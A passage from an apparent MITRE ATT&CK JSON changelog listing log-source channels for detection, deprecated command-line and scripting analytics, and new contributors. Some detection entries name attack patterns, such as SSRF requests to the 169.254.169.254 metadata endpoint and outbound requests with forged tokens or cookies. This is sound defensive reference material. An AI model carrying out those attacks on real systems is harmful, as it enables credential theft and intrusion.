                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Supervised device or managed app communicates with legitimate external web-service infrastructure such as cloud storage, messaging, collaboration, social, paste, or generic HTTPS API platforms in a pattern inconsistent with expected service baseline, managed app role, or normal background refresh behavior"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed HTTP GET or HTTPS session to public web platform (social, paste, collaboration, cloud storage, code-hosting) returned content followed by outbound connection to a different domain or IP within TimeWindow"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "DNS query or TLS SNI for previously unseen domain occurred within TimeWindow after session to legitimate web-service domain from same app identity"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Initial session to public web-service domain transferred small response payload followed by connection to new external endpoint with different ASN or domain category"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed session to public web-service domain included inbound content retrieval followed by outbound POST, PUT, upload, comment, message send, document update, or API write to same service class within TimeWindow"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated alternating inbound and outbound sessions to same public web-service domain or API endpoint occurred from same app identity with stable recurrence interval"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Outbound write operation to public web-service domain occurred after small inbound response retrieval from same domain or service class without preceding user-visible foreground activity"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "App-attributed HTTP GET, content fetch, sync pull, or inbound-oriented HTTPS session to public web-service domain recurred within TimeWindow without app-attributed POST, PUT, PATCH, upload, comment, message send, or API write to same service class"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated app-attributed retrieval from same public web-service domain or API endpoint occurred at stable recurrence interval with low outbound volume relative to inbound content"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inbound content retrieval from public web-service domain occurred without subsequent writeback to same service class and was followed by local or downstream activity outside normal app sync profile"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "TLS handshake, HTTP method/header pattern, or WebSocket upgrade was observed on destination port outside approved port set for detected protocol during app-attributed outbound session"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Repeated app-attributed sessions to same destination or service class used non-standard destination port with stable recurrence interval or persistent connection behavior"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Destination port was not in approved protocol-to-port mapping for app identity or service class and session did not match known enterprise proxy, relay, or developer tooling exception"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Observed protocol-to-port pairing was outside approved mapping for managed bundle or service class and did not match enterprise proxy, relay, or developer tooling exception"
                        },
                        {
                            "name": "WebProxy:AccessLogs",
                            "channel": "SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)"
                        },
                        {
                            "name": "webproxy:applog",
                            "channel": "DNS/HTTP(S) inspection or proxy transaction metadata where enterprise decryption/inspection is deployed"
                        },
                        {
                            "name": "WIDS:AssociationLogs",
                            "channel": "Unauthorized AP or anomalous MAC address connection attempts"
                        },
                        {
                            "name": "WinEventLog:iis",
                            "channel": "IIS Logs"
                        },
                        {
                            "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational",
                            "channel": "Unusual external domain access"
                        },
                        {
                            "name": "WinEventLog:Sysmon",
                            "channel": "Outbound requests with forged tokens/cookies in headers"
                        },
                        {
                            "name": "WinEventLog:System",
                            "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)"
                        },
                        {
                            "name": "zeek:conn",
                            "channel": "exploit-pattern traffic to Industrial Control Systems (ICS) server/device Internet Protocol (IP) from unexpected source, followed by behavioral anomaly within a short window"
                        },
                        {
                            "name": "zeek:ssl",
                            "channel": "Transport Layer Security (TLS) Server Name Indication (SNI) or certificate issuer does not match approved vendor domains or recognized Content Delivery Network (CDN) serving vendor content"
                        }
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "2.2",
                    "x_mitre_domains": [
                        "ics-attack",
                        "mobile-attack",
                        "enterprise-attack"
                    ],
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 00:15:15.935000+00:00\", \"old_value\": \"2026-10-13 17:43:41.384000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_log_sources'][0]\": {\"name\": \"VPN:MobileProxy\", \"channel\": \"Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type\"}, \"root['x_mitre_log_sources'][331]\": {\"name\": \"VPN:MobileProxy\", \"channel\": \"Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type\"}}}",
                    "previous_version": "2.2"
                }
            ],
            "revocations": [],
            "deprecations": [],
            "deletions": []
        },
        "detectionstrategies": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [
                {
                    "type": "x-mitre-detection-strategy",
                    "id": "x-mitre-detection-strategy--c0abb110-c80e-4d6a-9f27-f2783f8bbfec",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2025-10-21 15:10:28.402000+00:00",
                    "modified": "2026-11-03 19:48:16.429000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0760",
                            "external_id": "DET0760"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Detection of Command-Line Interface",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": true,
                    "x_mitre_domains": [
                        "ics-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_analytic_refs']\": [\"x-mitre-analytic--7107739b-92d2-41fa-9fc8-ebe72f6086ee\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:48:16.429000+00:00\", \"old_value\": \"2026-05-12 16:34:50.691000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}"
                },
                {
                    "type": "x-mitre-detection-strategy",
                    "id": "x-mitre-detection-strategy--f9ea25e7-6e63-4ef1-a8ad-47a4a261e175",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2025-10-21 15:10:28.402000+00:00",
                    "modified": "2026-11-03 19:49:42.174000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/detectionstrategies/DET0735",
                            "external_id": "DET0735"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Detection of Scripting",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": true,
                    "x_mitre_domains": [
                        "ics-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_analytic_refs']\": [\"x-mitre-analytic--302a5327-70cf-44b5-b592-ce9a62014dcc\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:49:42.174000+00:00\", \"old_value\": \"2026-05-12 16:34:50.698000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}"
                }
            ],
            "deletions": []
        },
        "analytics": {
            "additions": [],
            "major_version_changes": [],
            "minor_version_changes": [],
            "other_version_changes": [],
            "patches": [],
            "revocations": [],
            "deprecations": [
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--302a5327-70cf-44b5-b592-ce9a62014dcc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2025-10-21 15:10:28.402000+00:00",
                    "modified": "2026-11-03 19:49:32.705000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "external_id": "AN1868"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 1868",
                    "description": "Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. \nMonitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\nMonitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features. \nMonitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (e.g., JScript.dll, vbscript.dll).\nMonitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": true,
                    "x_mitre_domains": [
                        "ics-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "None"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_log_source_references']\": [{\"x_mitre_data_component_ref\": \"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0\", \"name\": \"Command\", \"channel\": \"None\"}, {\"x_mitre_data_component_ref\": \"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077\", \"name\": \"Process\", \"channel\": \"None\"}, {\"x_mitre_data_component_ref\": \"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1\", \"name\": \"Process\", \"channel\": \"None\"}, {\"x_mitre_data_component_ref\": \"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1\", \"name\": \"Module\", \"channel\": \"None\"}, {\"x_mitre_data_component_ref\": \"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd\", \"name\": \"Script\", \"channel\": \"None\"}], \"root['external_references'][0]['url']\": \"https://attack.mitre.org/detectionstrategies/DET0735#AN1868\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:49:32.705000+00:00\", \"old_value\": \"2025-10-21 15:10:28.402000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}"
                },
                {
                    "type": "x-mitre-analytic",
                    "id": "x-mitre-analytic--7107739b-92d2-41fa-9fc8-ebe72f6086ee",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2025-10-21 15:10:28.402000+00:00",
                    "modified": "2026-11-03 19:48:06.724000+00:00",
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "external_id": "AN1892"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "name": "Analytic 1892",
                    "description": "On Windows and Unix systems monitor executed commands and arguments that may use shell commands for execution. Shells may be common on administrator, developer, or power user systems depending on job function.\n\nOn network device and embedded system CLIs consider reviewing command history if unauthorized or suspicious commands were used to modify device configuration.\nMonitor logs from installed applications (e.g., historian logs) for unexpected commands or abuse of system features.\nMonitor for processes spawning from known command shell applications (e.g., PowerShell, Bash). Benign activity will need to be allow-listed. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.",
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": true,
                    "x_mitre_domains": [
                        "ics-attack"
                    ],
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "None"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_log_source_references']\": [{\"x_mitre_data_component_ref\": \"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0\", \"name\": \"Command\", \"channel\": \"None\"}, {\"x_mitre_data_component_ref\": \"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa\", \"name\": \"Application Log\", \"channel\": \"None\"}, {\"x_mitre_data_component_ref\": \"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077\", \"name\": \"Process\", \"channel\": \"None\"}], \"root['external_references'][0]['url']\": \"https://attack.mitre.org/detectionstrategies/DET0760#AN1892\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 19:48:06.724000+00:00\", \"old_value\": \"2025-10-21 15:10:28.402000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}"
                }
            ],
            "deletions": []
        }
    },
    "new-contributors": [
        "Ben Smith, @cmdaltr",
        "David Zakson",
        "Elger Rodrigues, @elgerx",
        "John Scott-Railton",
        "Kaung Khant Ko",
        "Menachem Goldstein",
        "Rebekah Brown",
        "Surya Teja Masanam (@surya4n6)",
        "Yokogawa (Thailand & IT/OT SOC)"
    ]
}